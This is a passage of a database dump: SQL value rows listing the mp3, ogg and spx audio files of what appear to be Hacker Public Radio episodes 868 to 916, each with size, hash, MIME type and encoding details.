(868,'hpr0868.ogg','ogg',3885332,'35bf6c162ff413de23d0d8c403fdd391c2994e26','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(868,'hpr0868.spx','spx',1685986,'0bead7a5d82c6d6b687fda4a8832958409c1f436','application/ogg; charset=binary','Ogg data, Speex audio'),
(869,'hpr0869.mp3','mp3',43851346,'5dade68fa30c663afd60bbdf9afa0a2b31be6d7d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(869,'hpr0869.ogg','ogg',21700913,'374e19e1990d3f83fb7dbe6dbb502bfd1c783188','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(869,'hpr0869.spx','spx',13056191,'4866d19093fd1ea71b3ddd57f67c04f2900f20ae','application/ogg; charset=binary','Ogg data, Speex audio'),
(870,'hpr0870.mp3','mp3',25430194,'e3405aaf9108500d021d65c642f81d29a760cb9b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(870,'hpr0870.ogg','ogg',7411727,'0ba3e8dee0f45096c462bd2eaaf040cafcf7ab54','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(870,'hpr0870.spx','spx',5678920,'7b716b2cadbcc541acebf4ec9bf377a8bd70abe3','application/ogg; charset=binary','Ogg data, Speex audio'),
(871,'hpr0871.mp3','mp3',25293248,'b42c773209fdeaa6a9c3802f98d6a87b09bb425e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(871,'hpr0871.ogg','ogg',17092393,'de9a02a6dba2c7d3a798e40b392c36b2e61fd36d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(871,'hpr0871.spx','spx',9064974,'313dc99a889d751e1471f0b9730452e84e3ef802','application/ogg; charset=binary','Ogg data, Speex audio'),
(872,'hpr0872.mp3','mp3',24691255,'95ba9161c0c6c8e7401dd3217ef49b121185ee0f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  96 kbps, 16 kHz, Monaural'),
(872,'hpr0872.ogg','ogg',9661626,'7e22717e9eea37d26d9546d11b0245ddd2d24b67','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 16000 Hz, ~48000 bps, created by: Xiph.Org libVorbis I'),
(872,'hpr0872.spx','spx',7351868,'64303de33aa6a4e44ad9522d092923880581e964','application/ogg; charset=binary','Ogg data, Speex audio'),
(873,'hpr0873.mp3','mp3',8730091,'c2f179f332f6e2e50038435e656b412e5f190e23','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(873,'hpr0873.ogg','ogg',6210677,'22ba3aaa1c8f053d3c2ef1b01fd92c9edf1cba13','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(873,'hpr0873.spx','spx',2599513,'d953e2fd195594f5d02ab6557fe96574d65ce875','application/ogg; charset=binary','Ogg data, Speex audio'),
(874,'hpr0874.mp3','mp3',14690685,'55b38040ad3a0a1ff18d3e23b42f9a00476cfe5f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(874,'hpr0874.ogg','ogg',8294668,'52d5977f7ddccb5400ffaedbd604ccc27ab0fb8f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(874,'hpr0874.spx','spx',4359288,'55a7af8797ac6ea6b4584cfa805fdbb6220f2e20','application/ogg; charset=binary','Ogg data, Speex audio'),
(875,'hpr0875.mp3','mp3',4902009,'a2dea5aa2eefdd6f3a135da01a2eb6503eee1a79','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(875,'hpr0875.ogg','ogg',3399414,'539490d32ec2364c0ee0bf160847bc81ee590c6d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(875,'hpr0875.spx','spx',1459709,'2df6c90c4f44521cd266086563d07ed8e0a96e75','application/ogg; charset=binary','Ogg data, Speex audio'),
(876,'hpr0876.mp3','mp3',20544451,'47a09d7561f7c0154fe970890fc455f59aaf2f56','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  96 kbps, 22.05 kHz, Monaural'),
(876,'hpr0876.ogg','ogg',8849437,'29828a59aa145d6037856dee2811c2cdbfb1c1f7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(876,'hpr0876.spx','spx',6117237,'a94d75bd46eb2d87d15914c37286b50381ce4d5b','application/ogg; charset=binary','Ogg data, Speex audio'),
(877,'hpr0877.mp3','mp3',16874611,'0570246481cb059ebd4e362536de04ecffd6a9b9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(877,'hpr0877.ogg','ogg',12496806,'a7db91aa91bb6cc1eddb2bb33ffb4c50828d8a32','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(877,'hpr0877.spx','spx',3874827,'1f5962533b74db23ea3d7efd52dcb4368e57f913','application/ogg; charset=binary','Ogg data, Speex audio'),
(878,'hpr0878.mp3','mp3',23542304,'0e746808f3dd50f89107c3c5f2819fd6acf16c33','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(878,'hpr0878.ogg','ogg',11176586,'c3b324d6a08b69a94b0f57a6a03d80cf5101ee22','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(878,'hpr0878.spx','spx',7009415,'4227b13a656213169a0ef3bc0d33d757de3f2449','application/ogg; charset=binary','Ogg data, Speex audio'),
(879,'hpr0879.mp3','mp3',28185096,'d1bdc7ff0f85df39c5792dd767db3b9d903d8716','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(879,'hpr0879.ogg','ogg',30282689,'c035e446c53fd9bc1659a61dad689daf528e7ff0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(879,'hpr0879.spx','spx',12587431,'c18b14905d0aed801df18a14c0b9a57eb4df7684','application/ogg; charset=binary','Ogg data, Speex audio'),
(880,'hpr0880.mp3','mp3',20734226,'015535f7db7d657cf499c1161c4fbd2e5548953c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(880,'hpr0880.ogg','ogg',22020052,'3deef4c6ad4d0568fd9f0eea392ee705075b3685','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(880,'hpr0880.spx','spx',13205100,'47960e86bebfc4575b7b3041bff7e7b0ef0883dc','application/ogg; charset=binary','Ogg data, Speex audio'),
(881,'hpr0881.mp3','mp3',4532120,'fc352a4c63d304bb5c1d90dc5ddac77fa2ae2355','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(881,'hpr0881.ogg','ogg',3150142,'325ce89510309b39ec399e03266cb95e6d9ada4b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(881,'hpr0881.spx','spx',1349601,'875b732e1cdb1fa4336835d19e47e3905bf1c69a','application/ogg; charset=binary','Ogg data, Speex audio'),
(882,'hpr0882.mp3','mp3',27737320,'f9bbc8bb5f048dd19cb664dadc88c8a638288a5e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  96 kbps, 22.05 kHz, Monaural'),
(882,'hpr0882.ogg','ogg',12006390,'181e2342a6b1477991baf413d5264d4a7025ce01','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(882,'hpr0882.spx','spx',8258822,'8990426688ec0895f761859871d203a3ced7d02c','application/ogg; charset=binary','Ogg data, Speex audio'),
(883,'hpr0883.mp3','mp3',19275211,'e0122c1a0029e7380e02e285c660c159d8df33d5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(883,'hpr0883.ogg','ogg',15014801,'f09bb1ecd06a563c89b6e6e37f8a842c68ab7940','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(883,'hpr0883.spx','spx',5739236,'37c0d5a47b2d3016e1bbe46ee094aaf2339d303f','application/ogg; charset=binary','Ogg data, Speex audio'),
(884,'hpr0884.mp3','mp3',30804017,'5a277411eed0e171760cfc5621404a7dc3f3f767','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(884,'hpr0884.ogg','ogg',21947813,'a31dd61317ff99ad148be4d112390d36395b7032','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(884,'hpr0884.spx','spx',9171799,'0b7b62749afd510bb03719b3f8843a81516b5ea6','application/ogg; charset=binary','Ogg data, Speex audio'),
(885,'hpr0885.mp3','mp3',2627528,'517473b15b7ef755d1f6ae9b5198eefe44b55717','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(885,'hpr0885.ogg','ogg',3328298,'a379fc685a1d4d42bc82495a873db4c8489097cb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(885,'hpr0885.spx','spx',1173523,'310078dbad8c1ef211dd4be3b5a6b048b3c23d26','application/ogg; charset=binary','Ogg data, Speex audio'),
(886,'hpr0886.mp3','mp3',5540574,'d81009b346eced7609c54e6782949b7833adb251','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  96 kbps, 24 kHz, Monaural'),
(886,'hpr0886.ogg','ogg',2498173,'f2f10f8698befb858de27fd02a28596940b8eec7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(886,'hpr0886.spx','spx',1649884,'418ad075da7f6e3491cf0743df990eb64ceb1cab','application/ogg; charset=binary','Ogg data, Speex audio'),
(887,'hpr0887.mp3','mp3',26811775,'9bc0028656784431764b32446c524d77ad77fee6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(887,'hpr0887.ogg','ogg',16318332,'5ccddbd78f7f2f10f069fba5278677367ee4ec2c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(887,'hpr0887.spx','spx',10574911,'fdc19444c9d4293565df1b0c82b045311babdd43','application/ogg; charset=binary','Ogg data, Speex audio'),
(888,'hpr0888.mp3','mp3',2921504,'46fa9d101b1b206f7a6ad233664025a28d9397fa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(888,'hpr0888.ogg','ogg',2042646,'c8eb0607b43ddf598436b7bfefe0810270d747bf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(888,'hpr0888.spx','spx',870031,'d9915f508f959ff901c40151da5b80455e064ec0','application/ogg; charset=binary','Ogg data, Speex audio'),
(889,'hpr0889.mp3','mp3',2957260,'c012e9dc8b55b7a1e63ced7aa8754ffabd48439c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(889,'hpr0889.ogg','ogg',2321295,'00d2acd1c9de23e81a4bf99854ec6ba7fc358376','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(889,'hpr0889.spx','spx',880685,'d0e3326e0606f9d4066d765659310470d5a496bc','application/ogg; charset=binary','Ogg data, Speex audio'),
(890,'hpr0890.mp3','mp3',15638966,'53d6db448757cc797475d3653ddf9488e5bb5ce1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(890,'hpr0890.ogg','ogg',7560224,'783e0011243d9ed9435376d6537bc7a4f78c36c5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(890,'hpr0890.spx','spx',4656576,'ac8d7015c644973f3a4c2769a5777914b63711fc','application/ogg; charset=binary','Ogg data, Speex audio'),
(891,'hpr0891.mp3','mp3',81349819,'8065c543db765dc2f75f2d48097c0424d0417c74','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(891,'hpr0891.ogg','ogg',47919593,'833dda174ad5dc355efc675c1d1b8420b5d547ba','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(891,'hpr0891.spx','spx',24221024,'2296725aff3279618ba6eb8aafa8face48a1e1bf','application/ogg; charset=binary','Ogg data, Speex audio'),
(892,'hpr0892.mp3','mp3',24175035,'201d2e5758c181290ad3a9ceed94bc3b08b7a827','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 48 kHz, Monaural'),
(892,'hpr0892.ogg','ogg',30836003,'1925c31e8107c7486c673fd97a6d325b7dceb5ad','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 48000 Hz, ~70000 bps'),
(892,'hpr0892.spx','spx',17056103,'93d6b2e707883c1c3bc689e22593ac13dffe4f86','application/ogg; charset=binary','Ogg data, Speex audio'),
(893,'hpr0893.mp3','mp3',15827943,'81b8c59b19d6f6b8dfe1fc79a1381d947cc6f956','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, Monaural'),
(893,'hpr0893.ogg','ogg',20586455,'59774e9dd093590d826f97f5d4f279b0e4af0419','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 48000 Hz, ~70000 bps'),
(893,'hpr0893.spx','spx',10864190,'8fd336bca5e91d998f24294a5a722111fd61ff0d','application/ogg; charset=binary','Ogg data, Speex audio'),
(894,'hpr0894.mp3','mp3',28869377,'f33811079092b610ce3fceb33f7c4a8b58474f79','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, Monaural'),
(894,'hpr0894.ogg','ogg',37728121,'b46afeb9239f547d05bd113299304eec19643333','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 48000 Hz, ~70000 bps'),
(894,'hpr0894.spx','spx',19928075,'1c74dbe6261cc5d78b21a1884b28ab1876f5571c','application/ogg; charset=binary','Ogg data, Speex audio'),
(895,'hpr0895.mp3','mp3',29325834,'40115361d39a6aae2032afefae13086675fd6260','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(895,'hpr0895.ogg','ogg',39711172,'07a2b278f1aad27186c4d183b5a57d0bf2d96bf0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~70000 bps'),
(895,'hpr0895.spx','spx',21147658,'e08dbb5381136be8e5b447975d16dde5f14ca12f','application/ogg; charset=binary','Ogg data, Speex audio'),
(896,'hpr0896.mp3','mp3',29392337,'2a9e12c63182d271cbc0825e45f7db81de41c756','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(896,'hpr0896.ogg','ogg',15610150,'f9e9f9e907e932d49cf6203857ce4c7a1cfdfa62','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~70000 bps'),
(896,'hpr0896.spx','spx',8751496,'1a5f8f9dc2a7afe30e177aa2235e95783b894f16','application/ogg; charset=binary','Ogg data, Speex audio'),
(897,'hpr0897.mp3','mp3',74510252,'2ec7067ad06660794e036744b2f2c3ca824c6df9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(897,'hpr0897.ogg','ogg',41023382,'447d0adcf79860903eb3b9e60e01eebdfdb3fe9d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~70000 bps'),
(897,'hpr0897.spx','spx',22184924,'292a93f7885bce3f7af823ee23c8238ee9da55e6','application/ogg; charset=binary','Ogg data, Speex audio'),
(898,'hpr0898.mp3','mp3',46456815,'fb3bd6a78dccbd00133a928fe9c160ee11664732','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(898,'hpr0898.ogg','ogg',54595689,'949a7cdd142dd8d09de2a9c1577b7b40c4364dbc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(898,'hpr0898.spx','spx',20747827,'851001a4b687520afc984229e3ee52c27794ac04','application/ogg; charset=binary','Ogg data, Speex audio'),
(899,'hpr0899.mp3','mp3',40562993,'d7cfff5ac8a2d5ba0fe81338ffd12b944acfe5b7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(899,'hpr0899.ogg','ogg',41756688,'a7caec29b36ed3355f40ab40225a4cc30ae7b162','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(899,'hpr0899.spx','spx',18115615,'cb9a7c6bce0080c114ccc3d58ec032764441a2f8','application/ogg; charset=binary','Ogg data, Speex audio'),
(900,'hpr0900.mp3','mp3',7157565,'1433de51ea1c7b04aa91953aa3ec99e727b3a109','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(900,'hpr0900.ogg','ogg',9544563,'ee2186ac19243bd033bc46c1a1b60acfa9ccc642','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(900,'hpr0900.spx','spx',3196707,'2dd6b73df00fe619f9f7d95a8350488b471c7712','application/ogg; charset=binary','Ogg data, Speex audio'),
(901,'hpr0901.mp3','mp3',14674296,'d0a35f0c8f738559b1fbb191e7cfceb51728fef7','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(901,'hpr0901.ogg','ogg',16816043,'c50ccc9cd922f4d39edebad5b9dbd4e1131efcfd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(901,'hpr0901.spx','spx',6553635,'6867cf96e473e5eacf68b87a11c70947f4e55989','application/ogg; charset=binary','Ogg data, Speex audio'),
(902,'hpr0902.mp3','mp3',15479289,'efa37ef528ac0ff078a48509b3de97cf1b11b27b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(902,'hpr0902.ogg','ogg',10174138,'40082e317c7bd4ed762b2e3d8706451ddf73a372','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(902,'hpr0902.spx','spx',4608923,'7a724d99494cd3742fff22303fc6d9041c9a1e8d','application/ogg; charset=binary','Ogg data, Speex audio'),
(903,'hpr0903.mp3','mp3',131149,'befe04bd641428fec5ef0a6be93c71c1b46e1b50','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(903,'hpr0903.ogg','ogg',494544,'9112c0bf38a9ef8a6f7ab27976f2db627e3e98fe','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~239920 bps, created by: Xiph.Org libVorbis I'),
(903,'hpr0903.spx','spx',58252,'ea99f66ffe93de4e8b5334bbc78bc15741c750ef','application/ogg; charset=binary','Ogg data, Speex audio'),
(904,'hpr0904.mp3','mp3',30927806,'e58131900b67d8c3b2ef151e110ed34702406902','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(904,'hpr0904.ogg','ogg',22431330,'fa57d3ad4fbb8bab684356f54a270613324ac17d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(904,'hpr0904.spx','spx',9208647,'523021aa83cf0af7f6c045d6fdd4327bd105e6d2','application/ogg; charset=binary','Ogg data, Speex audio'),
(905,'hpr0905.mp3','mp3',2795962,'91943d79e8285430461c9df7c686e240de4d31ed','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(905,'hpr0905.ogg','ogg',3392717,'d12f8dd75a120cd50ac799970ee4fc2f7eb9b962','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(905,'hpr0905.spx','spx',1248766,'22f4ab3bd20bd90b866fe20df3938653b1c0844b','application/ogg; charset=binary','Ogg data, Speex audio'),
(906,'hpr0906.mp3','mp3',25795064,'e9686647552820efb9e91ca18ae618848a7ef8b7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(906,'hpr0906.ogg','ogg',14020916,'57495755f40fd0815de17620542c84ef972ef5c0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(906,'hpr0906.spx','spx',7680445,'aa9ca4b1ca2fff247152a37ed579216062801397','application/ogg; charset=binary','Ogg data, Speex audio'),
(907,'hpr0907.mp3','mp3',2081947,'3231d870a45861d9d59d8d990867fc8bef562563','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(907,'hpr0907.ogg','ogg',2157074,'c68a0a7dc07faf20bd92e6cf1db9dd7d64633587','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(907,'hpr0907.spx','spx',929460,'9ba7d9ce08545733558d53c19d7fa10ee14d9d29','application/ogg; charset=binary','Ogg data, Speex audio'),
(908,'hpr0908.mp3','mp3',5958881,'f0dd1547be508759845511f42f45824917616f58','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(908,'hpr0908.ogg','ogg',6560999,'d7090b73b7bb8812ec7b662d93c303f0ee703d55','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(908,'hpr0908.spx','spx',1368335,'fdce46258c01d5d2212311dbc3f08f79101d9515','application/ogg; charset=binary','Ogg data, Speex audio'),
(909,'hpr0909.mp3','mp3',44731493,'a15b5b1dff39d60f6fefe00b03527655481b680e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(909,'hpr0909.ogg','ogg',31744954,'7e3a8d76a9f0bd1853995400a146f5b777014026','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(909,'hpr0909.spx','spx',10270627,'04f26e37f08d8ca60feeb8e8d6662c6290c3bc82','application/ogg; charset=binary','Ogg data, Speex audio'),
(910,'hpr0910.mp3','mp3',10033073,'7f242fa40eee27dc44b26cbe0f014547954315c0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(910,'hpr0910.ogg','ogg',9300485,'fd61ae5b8bfc583be7141da133e7cc4b46cdcd88','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(910,'hpr0910.spx','spx',8233118,'2b93c0bf59d102f3a407b2551ec50654dc7d6ae9','application/ogg; charset=binary','Ogg data, Speex audio'),
(911,'hpr0911.mp3','mp3',24796642,'02f05ec08da03a873340a8dee31ce00ef47efae7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, JntStereo'),
(911,'hpr0911.ogg','ogg',22618982,'0139bce167ac4edc36e021d061e5dc3a7ea73d76','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(911,'hpr0911.spx','spx',7591456,'6d690b3484ec188cdeada450cb80ed84f783815f','application/ogg; charset=binary','Ogg data, Speex audio'),
(912,'hpr0912.mp3','mp3',4967746,'d3a9a1a45063b0a9412c6a66d5dbc7e726a18cbd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(912,'hpr0912.ogg','ogg',2708120,'a7b5ebda3b353355e993d61f7919ae621e7717e7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(912,'hpr0912.spx','spx',1109582,'47891c38e69da248fae41552962bc8f95a085a94','application/ogg; charset=binary','Ogg data, Speex audio'),
(913,'hpr0913.mp3','mp3',8494212,'89ea1b06de7da4b934511a2ebda0f08496cd41bb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(913,'hpr0913.ogg','ogg',8571614,'9b7a38dd2abf7986e868297e20c442582d3ae99f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(913,'hpr0913.spx','spx',1950456,'5c8b1f817b7521cf5d7d5abf2257e6e017dc14b4','application/ogg; charset=binary','Ogg data, Speex audio'),
(914,'hpr0914.mp3','mp3',32553651,'453eac489c67f987c0c79ba337c09e480c8dd4e7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(914,'hpr0914.ogg','ogg',38377096,'868b9b137bfbad9b31215acf6f31deefdcb729d9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(914,'hpr0914.spx','spx',14538421,'eae34547c3771f67e3feb616bd80297abe4dbd06','application/ogg; charset=binary','Ogg data, Speex audio'),
(915,'hpr0915.mp3','mp3',11197255,'4b1874dfb3cde855e7b300d1d998ba14b9a01015','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(915,'hpr0915.ogg','ogg',10762668,'e11ffe5f80c9a485bea0e8f9fcd4da61368b2129','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(915,'hpr0915.spx','spx',5000468,'a76316be42f0aa6815a490f144b6a879f9be14b2','application/ogg; charset=binary','Ogg data, Speex audio'),
(916,'hpr0916.mp3','mp3',58609977,'ec1a76497c9eae3315a47f566ca887484a7132b7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(916,'hpr0916.ogg','ogg',38748914,'2677e50ba888a614efe3838bdf868ad41db78b15','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(916,'hpr0916.spx','spx',17450646,'ad0cca915ec33820226414019e696b8a7cf2c86e','application/ogg; charset=binary','Ogg data, Speex audio'),
